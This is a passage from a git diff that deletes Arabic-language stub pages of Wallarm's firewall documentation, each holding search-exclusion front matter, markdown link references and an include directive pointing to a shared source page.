../multi-tenant/overview.md -[applications-docs]: ../../user-guides/settings/applications.md -[available-filtration-modes]: ../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[ui-filtration-mode]: ../../admin-en/configure-wallarm-mode.md#general-filtration-rule-in-wallarm-console - ---8<-- "latest/installation/connectors/kong-ingress-controller.md" \ No newline at end of file diff --git a/docs/ar/installation/connectors/layer7-api-gateway.md b/docs/ar/installation/connectors/layer7-api-gateway.md deleted file mode 100644 index 23a9654a62..0000000000 --- a/docs/ar/installation/connectors/layer7-api-gateway.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest/installation/connectors/layer7-api-gateway.md" \ No newline at end of file diff --git a/docs/ar/installation/connectors/mulesoft-flex.md b/docs/ar/installation/connectors/mulesoft-flex.md deleted file mode 100644 index a0210f12f4..0000000000 --- a/docs/ar/installation/connectors/mulesoft-flex.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/connectors/mulesoft-flex.md" \ No newline at end of file diff --git a/docs/ar/installation/connectors/mulesoft.md b/docs/ar/installation/connectors/mulesoft.md deleted file mode 100644 index ed79aaa468..0000000000 --- a/docs/ar/installation/connectors/mulesoft.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-ar/installation/api-gateways/mulesoft.md" \ No newline at end of file diff --git a/docs/ar/installation/connectors/overview.md b/docs/ar/installation/connectors/overview.md deleted file mode 100644 index 76bd18bda6..0000000000 --- a/docs/ar/installation/connectors/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/installation/connectors/overview.md" \ No newline at end of file diff --git a/docs/ar/installation/custom/custom-nginx-version.md b/docs/ar/installation/custom/custom-nginx-version.md deleted file mode 100644 index 64f4bb9e8d..0000000000 --- a/docs/ar/installation/custom/custom-nginx-version.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/installation/custom/custom-nginx-version.md" \ No newline at end of file diff --git a/docs/ar/installation/custom/request-custom-deployment.md b/docs/ar/installation/custom/request-custom-deployment.md deleted file mode 100644 index 5e0aa976bb..0000000000 --- a/docs/ar/installation/custom/request-custom-deployment.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/installation/custom/request-custom-deployment.md" \ No newline at end of file diff --git a/docs/ar/installation/heroku/docker-image.md b/docs/ar/installation/heroku/docker-image.md deleted file mode 100644 index b02b656cbd..0000000000 --- a/docs/ar/installation/heroku/docker-image.md +++ /dev/null @@ -1,9 +0,0 @@ -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[node-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[doc-stat-service]: ../../admin-en/configure-statistics-service.md -[aio-docs]: ../nginx/all-in-one.md -[waf-directives-instr]: ../../admin-en/configure-parameters-en.md - ---8<-- "latest-ar/installation/heroku/docker-image.md" diff --git a/docs/ar/installation/inline/compute-instances/alibaba/docker-image.md b/docs/ar/installation/inline/compute-instances/alibaba/docker-image.md deleted file mode 100644 index 998770696f..0000000000 --- a/docs/ar/installation/inline/compute-instances/alibaba/docker-image.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -search: - exclude: true ---- - -[allocating-memory-guide]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../../user-guides/settings/applications.md -[node-status-docs]: ../../../../admin-en/configure-statistics-service.md -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[copy-container-ip-alibaba-img]: ../../../../images/waf-installation/alibaba-cloud/container-copy-ip.png -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[logging-docs]: ../../../../admin-en/configure-logging.md -[api-policy-enf-docs]: ../../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../../installation/nginx/all-in-one.md#api-discovery-only-mode - ---8<-- "latest-ar/installation/cloud-platforms/alibaba-cloud/docker-container.md" \ No newline at end of file diff --git a/docs/ar/installation/inline/compute-instances/aws/aws-ami.md b/docs/ar/installation/inline/compute-instances/aws/aws-ami.md deleted file mode 100644 index 0914553566..0000000000 --- a/docs/ar/installation/inline/compute-instances/aws/aws-ami.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -search: - exclude: true ---- - -[link-ssh-keys]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/get-set-up-for-amazon-ec2.html#create-a-key-pair -[link-sg]: https://docs.aws.amazon.com/en_us/AWSEC2/latest/UserGuide/get-set-up-for-amazon-ec2.html#create-a-base-security-group -[link-launch-instance]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EC2_GetStarted.html#ec2-launch-instance - -[anchor1]: #2-create-a-security-group -[anchor2]: #1-create-a-pair-of-ssh-keys-in-aws - -[img-create-sg]: ../../../../images/installation-ami/common/create_sg.png -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../../../installation/supported-deployment-options.md -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../../../admin-en/installation-guides/amazon-cloud/autoscaling-overview.md -[real-ip-docs]: ../../../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../../../admin-en/configure-logging.md -[wallarm-mode]: ../../../../admin-en/configure-wallarm-mode.md -[wallarm-api-via-proxy]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png -[cloud-init-spec]: ../../../cloud-platforms/cloud-init.md -[wallarm_force_directive]: ../../../../admin-en/configure-parameters-en.md#wallarm_force -[link-wallarm-health-check]: ../../../../admin-en/uat-checklist-en.md - ---8<-- "latest-ar/installation/inline/compute-instances/aws/aws-ami.md" \ No newline at end of file diff --git a/docs/ar/installation/inline/compute-instances/aws/aws-ecs.md b/docs/ar/installation/inline/compute-instances/aws/aws-ecs.md deleted file mode 100644 index adc5185e8d..0000000000 --- a/docs/ar/installation/inline/compute-instances/aws/aws-ecs.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -search: - exclude: true ---- - -[allocating-memory-guide]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../../user-guides/settings/applications.md -[node-status-docs]: ../../../../admin-en/configure-statistics-service.md -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[aws-copy-container-ip-img]: ../../../../images/waf-installation/aws/container-copy-ip.png -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[api-policy-enf-docs]: ../../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../../installation/nginx/all-in-one.md#api-discovery-only-mode - ---8<-- "latest-ar/installation/cloud-platforms/aws/docker-container.md" \ No newline at end of file diff --git a/docs/ar/installation/inline/compute-instances/aws/terraform-module-for-aws-api-gateway.md b/docs/ar/installation/inline/compute-instances/aws/terraform-module-for-aws-api-gateway.md deleted file mode 100644 index 8c0ad1aa80..0000000000 --- a/docs/ar/installation/inline/compute-instances/aws/terraform-module-for-aws-api-gateway.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-ar/installation/cloud-platforms/aws/terraform-module/proxy-for-aws-api-gateway.md" \ No newline at end of file diff --git a/docs/ar/installation/inline/compute-instances/aws/terraform-module-for-aws-vpc.md b/docs/ar/installation/inline/compute-instances/aws/terraform-module-for-aws-vpc.md deleted file mode 100644 index dae24e7d7f..0000000000 --- a/docs/ar/installation/inline/compute-instances/aws/terraform-module-for-aws-vpc.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest-ar/installation/cloud-platforms/aws/terraform-module/proxy-in-aws-vpc.md" \ No newline at end of file diff --git a/docs/ar/installation/inline/compute-instances/azure/docker-image.md b/docs/ar/installation/inline/compute-instances/azure/docker-image.md deleted file mode 100644 index 3822beafa0..0000000000 --- a/docs/ar/installation/inline/compute-instances/azure/docker-image.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -search: - exclude: true ---- - -[allocating-memory-guide]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../../user-guides/settings/applications.md -[node-status-docs]: ../../../../admin-en/configure-statistics-service.md -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[copy-container-ip-azure-img]: ../../../../images/waf-installation/azure/container-copy-domain-name.png -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[logging-docs]: ../../../../admin-en/configure-logging.md -[api-policy-enf-docs]: ../../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../../installation/nginx/all-in-one.md#api-discovery-only-mode - ---8<-- "latest-ar/installation/cloud-platforms/azure/docker-container.md" \ No newline at end of file diff --git a/docs/ar/installation/inline/compute-instances/docker/envoy-based.md b/docs/ar/installation/inline/compute-instances/docker/envoy-based.md deleted file mode 100644 index 087d505c1e..0000000000 --- a/docs/ar/installation/inline/compute-instances/docker/envoy-based.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -search: - exclude: true ---- - -[versioning-policy]: ../../../../../updating-migrating/versioning-policy.md#version-list -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[nginx-directives-docs]: ../../../../admin-en/configure-parameters-en.md -[docker-envoy-configuration-docs]: ../../../../admin-en/configuration-guides/envoy/fine-tuning.md -[graylist-docs]: ../../../../user-guides/ip-lists/overview.md -[wallarm-mode-docs]: ../../../../admin-en/configure-wallarm-mode.md -[api-tokens-docs]: ../../../../user-guides/settings/api-tokens.md -[allocate-resources-for-wallarm-docs]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[supported-deployments]: ../../../../installation/supported-deployment-options.md -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[rate-limit-docs]: ../../../../user-guides/rules/rate-limiting.md -[cred-stuffing-docs]: ../../../../about-wallarm/credential-stuffing.md -[link-wallarm-health-check]: ../../../../admin-en/uat-checklist-en.md - ---8<-- "latest-ar/admin-en/installation-guides/envoy/envoy-docker.md" \ No newline at end of file diff --git a/docs/ar/installation/inline/compute-instances/docker/nginx-based.md b/docs/ar/installation/inline/compute-instances/docker/nginx-based.md deleted file mode 100644 index 0ca20ac686..0000000000 --- a/docs/ar/installation/inline/compute-instances/docker/nginx-based.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -search: - exclude: true ---- - -[doc-wallarm-mode]: ../../../../admin-en/configure-parameters-en.md#wallarm_mode -[doc-config-params]: ../../../../admin-en/configure-parameters-en.md -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[allocating-memory-guide]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[nginx-waf-directives]: ../../../../admin-en/configure-parameters-en.md -[mount-config-instr]: #run-the-container-mounting-the-configuration-file -[graylist-docs]: ../../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../../user-guides/settings/applications.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[node-status-docs]: ../../../../admin-en/configure-statistics-service.md -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../supported-deployment-options.md -[nginx-directives-docs]: ../../../../admin-en/configure-parameters-en.md -[aws-ecs-docs]: ../../../cloud-platforms/aws/docker-container.md -[gcp-gce-docs]: ../../../cloud-platforms/gcp/docker-container.md -[azure-container-docs]: ../../../cloud-platforms/azure/docker-container.md -[alibaba-ecs-docs]: ../../../cloud-platforms/alibaba-cloud/docker-container.md -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[api-policy-enf-docs]: ../../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../../installation/nginx/all-in-one.md#api-discovery-only-mode -[link-wallarm-health-check]: ../../../../admin-en/uat-checklist-en.md - ---8<-- "latest-ar/admin-en/installation-docker-en.md" \ No newline at end of file diff --git a/docs/ar/installation/inline/compute-instances/gcp/gce.md b/docs/ar/installation/inline/compute-instances/gcp/gce.md deleted file mode 100644 index 8089e4a2e5..0000000000 --- a/docs/ar/installation/inline/compute-instances/gcp/gce.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -search: - exclude: true ---- - -[allocating-memory-guide]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[mount-config-instr]: #deploying-the-wallarm-node-docker-container-configured-through-the-mounted-file -[nginx-waf-directives]: ../../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../../user-guides/ip-lists/overview.md -[filtration-modes-docs]: ../../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../../user-guides/settings/applications.md -[node-status-docs]: ../../../../admin-en/configure-statistics-service.md -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[copy-container-ip-gcp-img]: ../../../../images/waf-installation/gcp/container-copy-ip.png -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[api-policy-enf-docs]: ../../../../api-specification-enforcement/overview.md -[filtration-modes]: ../../../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-discovery-docs]: ../../../../api-discovery/overview.md -[sensitive-data-rule]: ../../../../user-guides/rules/sensitive-data-rule.md -[apid-only-mode-details]: ../../../../installation/nginx/all-in-one.md#api-discovery-only-mode - ---8<-- "latest-ar/installation/cloud-platforms/gcp/docker-container.md" \ No newline at end of file diff --git a/docs/ar/installation/inline/compute-instances/gcp/machine-image.md b/docs/ar/installation/inline/compute-instances/gcp/machine-image.md deleted file mode 100644 index 141ddaa466..0000000000 --- a/docs/ar/installation/inline/compute-instances/gcp/machine-image.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -search: - exclude: true ---- - -[link-launch-instance]: https://cloud.google.com/deep-learning-vm/docs/quickstart-marketplace - -[img-ssh-key-generation]: ../../../../images/installation-gcp/common/ssh-key-generation.png -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../../../installation/supported-deployment-options.md -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../../../admin-en/installation-guides/google-cloud/autoscaling-overview.md -[real-ip-docs]: ../../../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../../../admin-en/configure-logging.md -[wallarm-mode]: ../../../../admin-en/configure-wallarm-mode.md -[wallarm-api-via-proxy]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png -[cloud-init-spec]: ../../../cloud-platforms/cloud-init.md -[wallarm_force_directive]: ../../../../admin-en/configure-parameters-en.md#wallarm_force -[link-wallarm-health-check]: ../../../../admin-en/uat-checklist-en.md - ---8<-- "latest-ar/installation/inline/compute-instances/gcp/machine-image.md" \ No newline at end of file diff --git a/docs/ar/installation/inline/compute-instances/linux/all-in-one.md b/docs/ar/installation/inline/compute-instances/linux/all-in-one.md deleted file mode 100644 index 5c06b08208..0000000000 --- a/docs/ar/installation/inline/compute-instances/linux/all-in-one.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -search: - exclude: true ---- - -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../../../admin-en/configure-statistics-service.md -[memory-instr]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-proxy-balancer-instr]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../../../admin-en/installation-postanalytics-en/ -[dynamic-dns-resolution-nginx]: ../../../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../../../admin-en/installation-postanalytics-en.md -[waf-installation-instr-latest]: /installation/nginx/dynamic-module/ -[img-node-with-several-instances]: ../../../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../../../faq/nginx-compatibility.md#is-wallarm-filtering-node-compatible-with-the-custom-build-of-nginx -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[platform]: ../../../supported-deployment-options.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md - ---8<-- "latest-ar/installation/inline/compute-instances/linux/all-in-one.md" diff --git a/docs/ar/installation/inline/compute-instances/linux/individual-packages-nginx-distro.md b/docs/ar/installation/inline/compute-instances/linux/individual-packages-nginx-distro.md deleted file mode 100644 index d4828f47cb..0000000000 --- a/docs/ar/installation/inline/compute-instances/linux/individual-packages-nginx-distro.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -search: - exclude: true ---- - -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../../../admin-en/configure-statistics-service.md -[memory-instr]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../../../admin-en/installation-postanalytics-en/ -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[dynamic-dns-resolution-nginx]: ../../../../admin-en/configure-dynamic-dns-resolution-nginx.md -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[install-postanalytics-instr]: ../../../../admin-en/installation-postanalytics-en.md -[img-node-with-several-instances]: ../../../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../../custom/custom-nginx-version.md -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png -[cred-stuffing-docs]: ../../../../about-wallarm/credential-stuffing.md -[link-wallarm-health-check]: ../../../../admin-en/uat-checklist-en.md - ---8<-- "latest-ar/installation/inline/compute-instances/linux/individual-packages-nginx-distro.md" diff --git a/docs/ar/installation/inline/compute-instances/linux/individual-packages-nginx-plus.md b/docs/ar/installation/inline/compute-instances/linux/individual-packages-nginx-plus.md deleted file mode 100644 index 6e43311537..0000000000 --- a/docs/ar/installation/inline/compute-instances/linux/individual-packages-nginx-plus.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -search: - exclude: true ---- - -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../../../admin-en/configure-statistics-service.md -[memory-instr]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../../admin-en/installation-postanalytics-en/ -[waf-mode-recommendations]: ../../../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../../../admin-en/installation-postanalytics-en.md -[waf-installation-instr-latest]: /installation/nginx-plus/ -[img-node-with-several-instances]: ../../../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../../custom/custom-nginx-version.md -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png -[cred-stuffing-docs]: ../../../../about-wallarm/credential-stuffing.md -[link-wallarm-health-check]: ../../../../admin-en/uat-checklist-en.md - ---8<-- "latest-ar/installation/inline/compute-instances/linux/individual-packages-nginx-plus.md" diff --git a/docs/ar/installation/inline/compute-instances/linux/individual-packages-nginx-stable.md b/docs/ar/installation/inline/compute-instances/linux/individual-packages-nginx-stable.md deleted file mode 100644 index 94f7957c12..0000000000 --- a/docs/ar/installation/inline/compute-instances/linux/individual-packages-nginx-stable.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -search: - exclude: true ---- - -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../../../admin-en/configure-statistics-service.md -[memory-instr]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../../../admin-en/installation-postanalytics-en/ -[dynamic-dns-resolution-nginx]: ../../../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../../../admin-en/installation-postanalytics-en.md -[waf-installation-instr-latest]: /installation/nginx/dynamic-module/ -[img-node-with-several-instances]: ../../../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../../custom/custom-nginx-version.md -[node-token]: ../../../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png -[cred-stuffing-docs]: ../../../../about-wallarm/credential-stuffing.md -[link-wallarm-health-check]: 